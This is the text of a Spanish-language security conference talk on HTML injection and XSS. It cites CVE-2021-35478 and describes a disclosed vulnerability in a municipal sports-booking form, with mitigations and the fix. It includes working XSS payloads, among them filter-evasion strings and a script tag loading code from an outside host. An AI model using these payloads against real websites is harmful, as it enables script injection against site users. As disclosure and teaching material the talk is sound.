Descubriendo vulnerabilidades en organismo público

Exponiendo la verdad: descubriendo vulnerabilidades relevantes
en un organismo público– HTML Injection y XSS en acción.
David Padilla Alvarado
https://c1b3rwall.policia.es/

WHOAMI
• Graduado en Ingeniería Telemática (Universidad de Jaén)
• Máster oficial en seguridad informática (Universidad Internacional de la Rioja)
• Máster propio en seguridad ofensiva (Universidad Católica san Antonio de Murcia)
• Máster propio en ciberseguridad empresarial en entornos Microsoft (Verne academy)
• Distintas certificaciones de ciberseguridad: eJPT, eWPT, PNPT, CCNA, eCPPTv2,CSX,
CPHE,CSFPC,CPHP, entre otros.
• Fundador del congreso de ciberseguridad en Jaén (Hack-én): https://hack-en.org/
• Autor del blog de ciberseguridad ciberpadi: https://ciberpadi.es/
• Cibercooperante de INCIBE
• Contacto MyPublicInbox: https://mypublicinbox.com/DavidPadilla
• Red Team Operator en Plexus Tech

Ciberataques en España.
Según un informe de Deusto Formación sobre Amenazas Globales, los ciberataques están aumentando un 300% desde 2020, y como
consecuencia de ello, el 40% de las empresas españolas ya han sufrido un ataque cibernético. Aun así, España está por debajo de países
como Estados Unidos, donde el 58% de las compañías son atacadas, o Francia (con el 60%).

Ciberataques a nivel mundial.
Source: https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf Source: https://www.diarioabierto.es/661320/el-cibercrimen-alcanza-un-valor-del-15-del-pib-mundial

OWASP
¿Qué es OWASP?
• Open Web Application Security Project. Es una metodología de seguridad de código abierto y colaborativa que se
utiliza como referente para auditorias de seguridad de aplicaciones web.
• Organización sin ánimo de lucro.
• Materia gratuito y fácilmente accesible en su web.
• OWASP Top 10.
• Apoyo financiero a través de patrocinadores y empresas.
• Promueve el desarrollo seguro.

OWASP TOP 10
Hay tres nuevas categorías, cuatro categorías con cambios de nombre y alcance, y alguna consolidación en el Top 10 de
2021. Hemos cambiado los nombres cuando ha sido necesario para centrarnos en la causa principal en lugar del
síntoma.
Source: https://owasp.org/Top10/es/

HTML Injection
La inyección HTML es un tipo de vulnerabilidad de inyección que ocurre cuando un usuario puede controlar un punto
de entrada y puede inyectar código HTML arbitrario en una página web vulnerable.

HTML Injection
Un tercero podría aprovechar la incorrecta validación de entrada por parte del usuario para realizar un tipo de ataque
que modifique el aspecto visual de la página denominado como defacement.
Fuente: https://blog.segu-info.com.ar/2009/12/deface-twitter-por-un-ataque-del.html

HTML Injection Reflected.

HTML Injection Stored.

Cross-Site Scripting (XSS)
Es una inyección de código malicioso, que se ejecutará en el navegador de la víctima. El script malicioso puede
guardarse en el servidor web y ejecutarse cada vez que el usuario llame a la funcionalidad correspondiente. También
se puede realizar sin ningún script guardado en el servidor web.

Cross-Site Scripting (XSS) Reflected.
Se descubrió una vulnerabilidad XSS reflected en Nagios Log Server (CVE-2021-35478). URL: GET /nagioslogserver/admin/audit-log?time=24h start= end= type= search=
HTTP/1.1. La hora, el inicio, el final, el tipo y el parámetro de búsqueda eran vulnerables a Reflected XSS.
GET /nagioslogserver/admin/audit-log?time=24h"><script>alert(1)</script> start= end= type= search= HTTP/1.1

Cross-Site Scripting (XSS) Stored.
El parámetro pp para los resultados por página en el registro de auditoría y la página del historial de alertas era vulnerable a Stored XSS.

Exponiendo la verdad.
Se descubrió una vulnerabilidad web dentro del patronato de deportes de un Ayuntamiento el cual un tercero podría aprovecharse del hecho de la
ausencia de validación de la entrada por parte del usuario para realizar distintos tipos de ataques web. En concreto, a la hora de hacer clic en un
espacio libre para reservar una pista deportiva, tecnologías como Jquery, Bootstrap, ASP.NET (2012) se encontraban totalmente desactualizados y
fuera de soporte dando lugar a posibles exploits en recursos como exploit-db entre otros.

Exponiendo la verdad. HTML Injection.
Se pudo confirmar que el campo del formulario ‘Datos del envío del justificante’ no presentaba una restricción de caracteres especiales, en
concreto los etiquetado de apertura y cierre de etiquetas como html ‘<‘,’>’, que podían permitir a un tercero inyectar código malicioso.

Pero no todo son buenas noticias…

Restricción de caracteres.
La protección ASP.NET permitía que hubiese restricción de caracteres. Se probó un conjunto de payloads por un diccionario dado y se observó que
solamente se podían inyectar ciertos caracteres. (Consejo para profesionales de red team el siguiente recurso XSS Filter Evasion by OWASP:
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) Véase el caso del ejemplo:
<h1/onmouseover='u0061lert(1)'>%00

¿Y si probamos con etiquetas propias de JavaScript?...

1. Dado este punto intenté ‘jugar’ con el servidor para ver en qué punto me aceptaba como máximo la inyección de
caracteres. Por ejemplo tomé este payload: <script/src=//Ǌ.₨></script> y la respuesta del servidor fue la siguiente:
Casi….
2. Probé ahora con el siguiente payload más acotado: <script src=//a.io> .
La respuesta del servidor vez fue la siguiente:
3. Fui a la consola y efectivamente vi que se hacia una llamada al recurso www.a.io . Es decir, se puede apuntar a cargar script
malicioso y realizar una petición frente a ese script.

Exponiendo la verdad. XSS.
Como podía ejecutar de manera delimitada ciertos comandos, busqué el ansiado XSS, para ello utilicé Burpsuite y
ejecuté un diccionario dentro de Intruder para realizar un ataque que no fuera manual para ser eficiente.

Exponiendo la verdad. XSS.
Se trata de un XSS reflected. No tiene una severidad tan alta como un stored podía llevar a cabo una ejecución de código
malicioso.

Medidas de mitigación.
1. Validar la entrada por parte del usuario. Los datos que no son de confianza son cualquier dato que un atacante pueda controlar, entradas de formulario
HTML, cadenas de consulta, encabezados HTTP, incluso datos procedentes de una base de datos, ya que un atacante puede infringir la base de datos
incluso si no pueden infringir la aplicación.
2. Implementar un ciclo de vida de desarrollo seguro SDLC en el que se involucre en un proceso de auditoría de código a los programadores encargados de
lanzar un producto en un entorno de pre producción hasta un entorno final de producción.
3. Realizar auditorías continuas de código estático y código dinámico que puedan permitir detectar vulnerabilidades en el activo.
4. La aplicación no debe aceptar ningún script, carácter especial o código HTML en los campos cuando no sea necesario. Debe evitar los caracteres
especiales que pueden resultar dañinos. Algunos de los personajes principales utilizados en los guiones que deben evitarse son los siguientes: < > ( ) ' “ /
* ; : = { } `(comilla grave) % + ^ ! — x00-x20 (x es una notación hexadecimal; incluye Espacio, Tabulador, Retorno de carro y Avance de línea).
5. Habilitar una Política de Seguridad de Contenido (CSP) supone una defensa profunda para la mitigación de vulnerabilidades XSS.
6. Codificar todas las salidas dentro del sitio, es decir, sustituir caracteres de toda aquella cadena que desee mostrarse en pantalla por ejemplo sustituir los
símbolos de menor y mayor que por sus codificaciones correspondientes para html: < y > respectivamente.
7. Uso del atributo Secure y HttpOnly en las cookies.

Respuesta del organismo público.
Finalmente el organismo público pudo subsanar la vulnerabilidad, ejecutó una de las recomendaciones que
se propuso como era impedir la inyección de caracteres especiales y actualmente no es posible realizar este
tipo de ataques web asi como enviaron un email de agradecimiento.

Conclusiones.
En conclusión, en esta ponencia he tratado de dar importancia a:
• El proceso de ciberseguridad en una empresa ya sea dentro del sector privado o publico forma parte de todos.
• Los organismos deberían de dejar de ver la ciberseguridad como un gasto.
• Es recomendable realizar un ciclo de vida de desarrollo seguro en cualquier aplicación que se vaya a implementar en
un sistema de producción.
• En los organismos públicos y fruto de la transformación digital es adecuado que los profesionales de la ciberseguridad
vayamos con ellos en ir transformando el ecosistema digital que tenemos en España hacia un espacio más seguro.
• Lo más importante bajo mi punto de vista y si habéis visto los detalles que he dejado en los anteriores slides…

MUCHAS GRACIAS
¿ALGUNA PREGUNTA?
https://www.linkedin.com/in/davidpadillaalvarado/
davidpadillateleco@gmail.com
https://ciberpadi.es/

Descubriendo vulnerabilidades en organismo público

Recommended

Recommended

More Related Content

Similar to Descubriendo vulnerabilidades en organismo público

Similar to Descubriendo vulnerabilidades en organismo público (20)

Recently uploaded

Recently uploaded (20)

Descubriendo vulnerabilidades en organismo público